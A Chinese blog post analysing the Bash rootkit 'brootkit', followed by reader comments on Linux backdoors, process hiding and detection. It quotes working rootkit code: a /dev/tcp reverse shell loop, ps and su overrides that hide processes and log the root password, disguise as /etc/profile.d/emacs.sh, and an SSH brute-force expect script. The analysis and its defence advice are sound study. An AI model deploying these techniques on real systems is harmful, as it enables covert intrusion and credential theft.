BROOTKIT代码学习和原理分析


=Start=

缘由:

周末闲来无事,想找点东西学习一下,随手翻到了之前看到的一篇关于brootkit的文章,知道它是用Bash写的一个后门程序,刚好最近在做Bash相关的工作,就想着学习一下这方面的知识,稍作整理之后就有了本文。

另:想好好看看brootkit是如何实现的也源于一位”高手”的指导:渗透过程中尽量使用系统原生/已有的功能、机制,不要引入过多的「外部程序」,比如在Windows早期系统上,尽量使用vbs;在Windows7及以后,尽量使用PowerShell,而不是上来就拿个Python脚本在那跑,有没有Python环境还不一定呢(即便有Python,也不一定有相应的模块)?在Linux下,bash/sh就是一个很好的切入点,但这里说的也比较浅(深的我也不太会……),不足之处还请大牛指点。

The quieter you become, the more you are able to hear.

正文:

0x01.简介

这部分内容主要是对该项目的README.md的简单翻译:

设计思路:

如果Bash可以用来设计实现rootkit检测工具(chkrootkit/rkhunter),那它同样可以被用来实现rootkit。brootkit就是用Bash实现的轻量级rootkit。

特性:

1. 对 管理员 或 主机IDS 有更好的隐藏特性
2. 盗取root用户密码
3. 隐藏文件和目录
4. 隐藏进程
5. 隐藏网络连接
6. 反连后门
7. 多线程端口扫描器
8. HTTP下载功能
9. 多线程SSH爆破功能

目标系统:

1. centos
2. rhel
3. ubuntu
4. debian
5. fedora
6. freebsd

待添加特性:

1. 盗取通过sudo输入的密码

安装:

1.首先编辑 br.conf 这个配置文件,设置要隐藏的 端口、文件、进程 列表,以及要反连到的IP和PORT
2.运行 ./install.sh 脚本

补充说明:

对于Freebsd系统来说,因为现代的freebsd系统中,root默认使用csh,其它的用户默认使用sh,所以此版本(v0.10)的brootkit只能支持到sh的那部分特性。在freebsd系统上的安装方法如下:

1.首先编辑 brsh.conf 这个配置文件设置要隐藏的 端口、文件、进程 列表,以及要反连到的IP和PORT
2.运行 ./brshinstall.sh 脚本

0x02.代码结构
[root@localhost brootkit]# pwd
/root/git_s/brootkit
[root@sec-fetcher brootkit]# tree .
.
├── bashbd.sh  #进行反向连接的后门程序
├── bashnc.sh
├── bashproxy.sh
├── bashtn.sh
├── brbomb.sh
├── br.conf  #配置文件
├── brconfig.sh  #解析配置文件
├── brdaemon.sh
├── brget.sh  #实现HTTP下载功能
├── brootkit.sh  #实现自我隐藏
├── brscan.sh    #多线程端口扫描程序
├── brsh.conf
├── brshconfig.sh
├── brshinstall.sh  #freebsd系统下的安装程序
├── brshrootkit.sh
├── cronbd.sh
├── install.sh  #Linux系统下的安装程序
├── README.md
├── sshcrack.exp
├── sshcrack.sh  #多线程SSH爆破程序
├── ubd.sh
└── uninstall.sh

0 directories, 22 files
0x03.代码详解
1.首先来分析「install.sh」这个文件;
function main()
{
    br_check_os_type    #检查操作系统类型
    br_check_shell      #检查使用了bash/sh的用户有哪些,如果没有则立即退出
    br_check_privilege  #检查执行用户的权限
    br_set_rootkit_path #根据执行用户的权限设置安装目录
    br_creat_home       #在安装目录中存放要用到的脚本
    br_install_backdoor #在后台运行bashbd.sh脚本以进行反向连接

    #根据检测到的执行用户的权限决定是否执行下面2步
    if [ $br_privilege -eq 0 ]; then
        #根据检测到的操作系统类型有针对性的安装开机自启脚本(brdaemon.sh)以进行持久化反向连接
        case $br_os_type in
            1|2)
                br_centos_install ;;
            3)
                br_ubuntu_install ;;
            4)
                br_debian_install ;;
            5)
                br_fedora_install ;;
        esac
        br_install_rootkit  #伪装brootkit.sh为/etc/profile.d/emacs.sh
    fi

    if [ $? -eq 1 ]; then
        echo "install brootkit failed."
        exit
    else
        echo "install brootkit successful."
    fi
}
2.然后查看「bashbd.sh」文件(如何反弹shell);
br_set_rootkit_path     #根据(执行)用户的权限设置BR_ROOTKIT_PATH路径
. $BR_ROOTKIT_PATH/brconfig.sh  #在当前shell中加载 brconfig.sh 程序,引入 br_load_config 函数
br_load_config $BR_ROOTKIT_PATH/br.conf #调用 br_load_config 函数解析 br.conf 配置文件
br_connect_backdoor     #调用 br_connect_backdoor 函数以获取反弹shell(有Python的用Python,没有的用Bash)

function br_connect_backdoor()
{
    #...

    while [ 1 ]
    do
        #...
        exec 9<> /dev/tcp/$target_ip/$target_port   #将9号文件描述符打开并重定向到在配置文件中设定的IP和PORT
        [ $? -ne 0 ] && exit 0 || exec 0<&9;exec 1>&9 2>&1  #检查上一步操作是否成功执行,如果失败则直接退出,否则把当前shell的标准输入和标准输出以及出错重定向到文件描述符
        if type python >/dev/null;then
            export MAX_ROW_NUM MAX_COL_NUM
            python -c 'import pty; pty.spawn("/bin/bash")'
        else
            /bin/bash --rcfile $BR_ROOTKIT_PATH/.bdrc --noprofile -i
        fi
        }&
        wait

        sleep $((RANDOM%sleep_time+sleep_time))
    done
}
3.接下来看「brootkit.sh」文件(如何隐藏进程、端口和文件);
#"重载"ps命令,然后通过过滤ps命令的结果实现「隐藏」进程
function ps()
{
    #...
    proc_name=`/bin/ps $@`
    for hide_proc in ${br_hide_proc[@]}
    do
        proc_name=`echo "$proc_name" | sed -e '/'$hide_proc'/d'`
    done
    echo "$proc_name"
    #...
}

#「隐藏」文件、端口、函数的原理同上——"重载"对应的命令(ls/netstat/type/builtin/...),过滤输出结果

#盗取root用户密码
function su()
{
    #...
    [ ! -f /tmp/... ] && `touch /tmp/... && chmod 777 /tmp/... >/dev/null 2>&1`

    echo -ne "Password:\r\033[?25l"
    read -t 30 -s pass
    echo -ne "\033[K\033[?25h"

    #盗取root用户密码并记录至指定文件
    /bin/su && unset su && echo $pass >> /tmp/...
}

//上面的三个文件是实现rootkit的核心(自我隐藏、盗取密码和自动反连)所在,接下来看看作者提到的「HTTP下载功能」、「多线程端口扫描器」和「多线程SSH爆破功能」是如何实现的

4.来看看如何用原生Bash实现「HTTP下载功能」;
function main()
{
    #...
    parse_url $@    #解析传入参数中的URL

    file_init
    display_start $1
    socket_create $remote_host $remote_port #根据解析结果创建socket以进行连接
    br_send_request $remote_host $remote_port $remote_file  #发送HTTP下载请求
    br_get_run      #根据HTTP状态码决定具体调用的方法(直接下载/跟随跳转后下载/chunk传输下载)
    display_finsh
    socket_close    #关闭socket
}

在实际使用过程中发现了几个小问题:

  1. 无法跟踪”301″状态的跳转;
  2. 无法跟踪多次”302″跳转;
[root@localhost brootkit]# ./brget.sh http://www.baidu.com/img/bd_logo1.png
[root@localhost brootkit]# ./brget.sh https://www.baidu.com/img/bd_logo1.png

[root@localhost brootkit]# ./brget.sh https://github.com/cloudsec/brootkit/archive/master.zip

[root@localhost brootkit]# ./brget.sh http://sourceforge.net/projects/strace/files/latest/download?source=files\ strace-4.12.tar.xz

[root@localhost brootkit]# ./brget.sh http://downloads.sourceforge.net/project/strace/strace/4.12/strace-4.12.tar.xz

[root@localhost brootkit]# ./brget.sh http://ncu.dl.sourceforge.net/project/strace/strace/4.12/strace-4.12.tar.xz

还有就是,无法支持HTTPS资源的下载,容错性和稳定性上面和wget/curl还有较大差距。但能用纯shell把这个HTTP下载功能给实现,也真的是体现了作者对于HTTP协议的深入理解以及深厚的shell编程能力!

5.来看看实现「多线程端口扫描器」的「brscan.sh」文件;
# 脚本的主体流程: main -> br_scan_port -> thread_scan

# $1 => remote host
# $2 => remote port
# $3 => thread_num
function thread_scan()
{
    #...
    for ((i = 0; i < $3; i++))
    do
        {
        let "sock_fd=$2+$i"
        let "j=$2+$i+3"
        /bin/bash -c "exec $j<> /dev/tcp/$1/${br_ports[$sock_fd]}" 2>${br_ports[$sock_fd]}  #用Bash进行网络请求(端口扫描)
        }&  #将命令放入后台执行,以达到「多线程」的效果
        #...
    done

    sleep $br_timeout

    exec 2>&-
    #等待后台执行的扫描任务正常退出or杀掉超时任务
    for pid in `jobs -p`
    do
        get_run_time $pid
        run_time=$?
        [ $run_time -eq 0 ] && continue
        if [ $run_time -ge $br_timeout ]; then
            kill -9 $pid >/dev/null 2>&1
            rm -f ".scan/$pid"
        fi
    done

    #...
}
6.最后再来看看「sshcrack.sh和sshcrack.exp」文件;
# 程序执行的主体流程: main -> sshcrack_engine -> do_sshcrack -> ./sshcrack.exp

# ./sshcrack.sh
function do_sshcrack()
{
    local ret x=$(($1+4)) y=1

        ./sshcrack.exp $3 $2 $4 $5 $6 >/dev/null
        ret=$?
        if [ $ret -eq 6 ];then
                printf "\033[${x}:${y}H\033[32;1mThread[%2d]\t%s@%s\t\t==>\t[%-16s]\t[success]\t%2d\n\033[0m" $1 $2 $3 $4 $ret
        kill -s SIGUSR2 $sshcrack_pid
                return 0
        else
        if [ $sshcrack_debug -eq 1 ]; then
                    printf "\033[${x}:${y}H\033[32;1mThread[%2d]\t%s@%s\t\t==>\t[%-16s]\t[failed]\t%2d\n\033[0m" $1 $2 $3 $4 $ret
        fi
        fi
        return 1
}

# ./sshcrack.sh
spawn -noecho ssh -o ServerAliveInterval=2 -o ConnectTimeout=2 -t $USER@$IP $CMD
expect {
    "(yes/no)" { send "yes\r"; exp_continue }
    "*assword:" { send "$PASSWD\r" }
    "Name or service not known" { exit 8}
    "No route to host" { exit 4 }
    timeout { exit 5 }
    eof { exit 0 }
}
expect {
        "*assword:" { exit 3 }
        "uid=" { exit 6 }
        eof { exit 7 }
}
0x04.原理分析
1.如何实现文件、进程、端口的隐藏 和 盗取root用户密码

在上面的 install.sh 安装程序中有一行代码:「cp brootkit.sh /etc/profile.d/emacs.sh」,这一行代码的作用在于——以后每次打开一个登录shell的时候都会加载这个脚本(而脚本中的内容是一些和builtin命令重名的自定义function),从而实现Bash函数”重载”,过滤掉相关输出内容,这样就可以达到自定义隐藏文件、进程、端口+盗取root用户密码的目的。『说明:这一行代码需要具有sudo/root权限才会执行』

在Bash中命令的执行遵循下面的顺序

1. 自定义alias : alias su=”ls -l”
2. 自定义function : function su { echo “Hello world”; }
3. Bash内置命令builtin
4. 外部程序(在环境变量PATH中进行查找)

但是简单的函数”重载”会被Bash内建的「builtin/declare/typeset/type/set/command」等命令识别出来,所以,除了给ls/ps/netstat等命令重新实现function之外,还需要做进一步的处理——将这些builtin命令也进行”重载”。这样就可以实现自定义隐藏文件、进程、端口+盗取root用户密码的功能。

2.如何实现反连后门

这里主要是利用了Linux系统原生的socket设备文件/dev/[tcp|udp]/..来实现socket连接和sleep保持;如果该系统上有更多的环境,你也可以参考「Reverse Shell Cheat Sheet」试试修改成其它的反弹shell的方法。

0x05.防御策略

brootkit这里主要用到了Bash和Linux系统自身提供的一些特性达到了自我隐藏和持久化反连的效果,如果只是单纯地通过关键字匹配/文件哈希值比对等静态的方法很难进行准确的检测;

所以建议就是——从异常行为入手。不该做的你别做,不该有的你别有,不该连的你别连……;如果做了,你就是可疑的(即便你是正常操作),在经过了一段时间的运维之后,可以得到一个正常操作的白名单,剩下的如果还有,那就非常可疑了。(注:这一段是我瞎扯的,毕竟没有实际做过。但在网上看了一堆文章之后,我也忍不住要在这里加上几句「异常行为检测」、「基于文件/行为的白名单」以提升B格 ಠ౪ಠ)

最后的最后,如果机器被入侵了,那就:

事情结了后,能重装就重装吧,别折腾清理什么后门了。保不齐就被就被你没留意的一个小细节或者不知道的一个特性给坑了。Focus目标, 勿忘初心。

参考链接:

=END=


《“BROOTKIT代码学习和原理分析”》 有 28 条评论

  1. Bash执行/解析命令的优先顺序是:
    别名:alias
    关键字:keyword
    函数:function
    内建命令:builtin
    哈希索引:hash
    外部命令:command

    `
    $ alias
    $ type ls
    ls is aliased to ‘ls –color=auto’

    $ type if
    if is a shell keyword
    $ type function
    function is a shell keyword

    $ mcd() { mkdir -p “$1”; cd “$1”; }
    $ type mcd
    mcd is a function
    mcd ()
    {
    mkdir -p “$1”;
    cd “$1”
    }

    $ type cd
    cd is a shell builtin

    $ hash #查看当前已经建立缓存关系的命令和其命中次数
    hits command
    1 /bin/cat
    1 /usr/bin/vim
    2 /usr/bin/man
    1 /bin/ls
    $ hash -l #查看更详细的hash对应关系
    builtin hash -p /bin/cat cat
    builtin hash -p /usr/bin/vim vim
    builtin hash -p /usr/bin/man man
    builtin hash -p /bin/ls ls
    $ hash -d cat #删除某一个hash对应
    $ hash -l
    builtin hash -p /usr/bin/vim vim
    builtin hash -p /usr/bin/man man
    builtin hash -p /bin/ls ls
    $
    $ hash -r #清空当前hash表
    $ hash -l
    hash: hash table empty
    $ which df
    /bin/df
    $ hash -p /bin/df df #手工创建一个hash
    $ type df
    df is hashed (/bin/df) #表明已对其df命令和对应的路径建立了一个hash索引
    $ hash -t df #显示某一个hash对应的路径
    /bin/df
    $ hash -l
    builtin hash -p /bin/df df
    $ hash -r
    $ hash
    hash: hash table empty
    $ type df
    df is /bin/df

    $ type grep
    grep is /bin/grep
    `
    可以参考:http://liwei.life/2016/05/23/shell%E7%BC%96%E7%A8%8B%E4%B9%8B%E6%89%A7%E8%A1%8C%E8%BF%87%E7%A8%8B/

  2. Bash中的「并发编程」:
    `
    $ cat sh_multi_thread.sh
    #!/bin/bash

    echo “Begin @ $(date +’%F %T’)”

    (sleep 3; echo 3) &
    (sleep 5; echo 5) &
    (sleep 7; echo 7) &
    (sleep 9; echo 9) &

    wait

    echo parent continue

    sleep 3

    echo “End @ $(date +’%F %T’). Spend $SECONDS seconds.” # Should spend 12 seconds

    $ time bash ./sh_multi_thread.sh
    `
    参考链接:
    http://liwei.life/2016/06/13/shell%E7%BC%96%E7%A8%8B%E4%B9%8B%E5%86%85%E5%BB%BA%E5%91%BD%E4%BB%A4/

  3. Linux环境下后门维持的N种姿势
    http://www.arpida.com/142.html
    http://mp.weixin.qq.com/s?src=3&timestamp=1485056887&ver=1&signature=501-9p*wWUkDkO2DsarmGYkYhsFK8zsyZJIq7X8osBL17YyhCgoGzRKNIVrRrNf2bZe77yGAJUFsb6O8IOeXSp02rVqSGiBLAGDM-yyI5JEf0ieNvIyjHty*1GJoClMH7ZKfZOn6ak2neEAmekamVA==
    `
    姿势一、PAM后门
    姿势二、openssh后门
    姿势三、快速获得ssh后门 #临时在sshd上做个软链
    姿势四、SSH wrapper后门
    姿势五:利用mafix rootkit创建后门
    `

  4. https://unix.stackexchange.com/questions/105876/what-does-rm-is-hashed-mean
    http://mywiki.wooledge.org/BashGuide/CommandsAndArguments
    `
    It’s a performance thing; instead of searching the whole path for the binary every time it is called, it’s put into a hash table for quicker lookup. So any binary that’s already in this hash table, is hashed. If you move binaries around when they’re already hashed, it will still try to call them in their old location.

    See also $(help hash), or $(man bash) and search for hash under builtin commands there.
    `

  5. 安全研究 | Linux 遭入侵,挖矿进程被隐藏案例分析
    https://mp.weixin.qq.com/s/1AF5cgo_hJ096LmX7ZHitA
    `
    在服务器被入侵后,首先可以明显感觉到服务器的资源被占用而导致的操作迟缓等问题,通过一些常规手段可以发现一些异常信息,但又看不到进程信息:

    通过 top 命令,可以看到显示的 CPU 使用率较低,但 ni 值为 100 ;同时通过 /proc/stat 计算 CPU 使用率又基本是 100% 。

    通过 netstat 查看端口监听情况,也可以看到异常的连接。

    通过在 Virustotal 查询 IP,可以看到 DNS 指向为矿池域名。

    通过 find 命令查找入侵时间范围内变更的文件,对变更文件的排查,同时对相关文件进行分析,基本可以确认黑客使用的进程隐藏手法。

    在变更文件里可以看到一些挖矿程序,同时 /etc/ld.so.preload 文件的变更需要引起注意,这里涉及到 Linux 动态链接库预加载机制,是一种常用的进程隐藏方法,而 top 等命令都是受这个机制影响的。

    通过查看文件内容,可以看到加载一个 .so 文件:/usr/local/lib/libjdk.so
    而这个文件也在文件变更列表里。

    通过对样本逆向分析,发现样本 libjdk.so 主要是 Hook 了 readdir 和 readdir64 两个函数。
    整个函数功能结合来看就是判断如果读取目录为 /proc,那么遍历的过程中如果进程名为 x7,则过滤,而 x7 就是挖矿进程名。
    而类似于 top、ps 等命令在显示进程列表的时候就是调用的 readdir 方法遍历 /proc 目录,于是挖矿进程 x7 就被过滤而没有出现在进程列表里。
    `

  6. 【安全研究】警惕利用Linux预加载型恶意动态链接库的后门
    https://mp.weixin.qq.com/s/vHqBPYgqakPafDG-kzk6Tw
    https://github.com/mempodippy/cub3
    https://github.com/mempodippy/vlany
    `
    0x00 动态链接库预加载型rootkit概述
    0x01 动态链接库预加载型rootkit所用技术
    0x02 动态链接库预加载型rootkik
    1. 利用LD_PRELOAD加载恶意动态链接库
    2. 利用/etc/ld.so.preload加载恶意动态链接库
    3. 修改动态链接器来实现恶意功能
    0x03 通用检测方法总结
    根据动态链接库预加载机制可知,预加载型恶意动态链接库只对需要使用动态库函数的程序有效,恶意动态链接库基本功能隐藏文件,根据隐藏文件功能的特点,所以我们检测的思路是应用程序尽量不使用动态库,即可绕过这个文件隐藏的功能。
    `

  7. 利用动态链接共享对象库进行Linux提权
    https://mp.weixin.qq.com/s/092lsOZfrc_izqyAkDak7Q
    `
    如果将RPATH和弱文件权限提升到系统权限?
    Linux应用使用动态链接共享对象库(dynamically linked shared object libraries)在不用重写代码的情况下,提供给应用同样的功能——有点像Windows的DLL文件。与Windows中的DLL植入攻击类似,Linux弱文件权限的共享库可以用来执行任意代码,并黑进Linux系统。

    OS怎样找到共享库?
    当使用共享库的应用运行时,操作系统就会以下面的顺序寻找库:
    1. rpath-link选项中指定的目录;
    2. –rpath选项中指定的目录;
    3. LD_RUN_PATH;
    4. LD_LIBRARY_PATH;
    5. DT_RUNPATH或DT_RPATH中的目录;
    6. /lib and /usr/lib;
    7. /etc/ld.so.conf下的目录。
    `

  8. 聊一聊Linux下进程隐藏的常见手法及侦测手段
    https://www.anquanke.com/post/id/160843
    https://paper.tuisec.win/detail/b8c6ec83a16d708
    `
    0x00.前言
    0x01.我所了解的 Linux下进程隐藏手段及侦测方法
    一、基于用户空间进程隐藏手法
    1、偷梁换柱型
    2、HooK系统调用型
    3、伪造进程名型
    4、挂载覆盖型
    二、基于对内核空间修改进行进程信息隐藏的手法
    1、劫持VFS文件系统系列函数实现对/proc动态生成结果的干扰,从而实现对某些进程的隐藏。
    2、劫持进程创建模块代码,根据条件设置选择是否隐藏进程
    0x02. 总结
    0x03. 参考
    `

  9. Linux下的Rootkit驻留技术分析
    http://blog.topsec.com.cn/ad_lab/linux%E4%B8%8B%E7%9A%84rootkit%E9%A9%BB%E7%95%99%E6%8A%80%E6%9C%AF%E5%88%86%E6%9E%90/
    `
    1. 用户态下的可利用点
    1.1 各种INIT的利用
    Linux init
    bashrc
    xinitrc
    其它initrc

    1.2 图形化环境的利用
    XDG autostart for system
    XDG autostart for user

    1.3 CROND的利用

    1.4 替换文件

    1.5 动态链接库劫持
    替换动态链接库
    ld.so.preload

    2. 内核态的驻留
    2.1 LKM – 可加载内核模块
    2.2 initrd的利用

    总结
    Linux下的恶意软件虽然种类不多,但就其驻留技术实现而言,还是有不少的方法。本文除了主流的实现之外,也提出了一些通常很少有人注意的实现方法,希望对Linux攻防对抗的朋友有所帮助。
    `

  10. Fenrir:一款功能强大的BASH IoC扫描器
    https://www.freebuf.com/sectool/216061.html
    https://github.com/Neo23x0/Fenrir
    `
    很多安全研究人员都会面临这样一个问题,那就是如何在不安装代理或软件包的情况下,检查100多个不同的Linux系统是否匹配某些入侵威胁指标IoC。因此,Fenrir就应运而生了。

    Fenrir的运行流程如下:
    1、读取IoC文件;
    2、获取操作参数,并配置递归扫描的起始路径(目录);
    3、检查lsof输出中的C2服务器;
    4、检查需排除的目录(可在脚本的Header中配置);
    5、检查需要扫描的特殊文件扩展名(可在脚本的Header中配置);
    6、检查IoC文件中的文件名(完整路径)是否匹配;
    7、检查需要排除的文件大小(可在脚本的Header中配置);
    8、检查文件中的某些字符串(通过grep实现);
    9、检查给定哈希值;
    10、检查文件更改和创建时间戳;
    `

回复 a-z 取消回复

您的电子邮箱地址不会被公开。 必填项已用*标注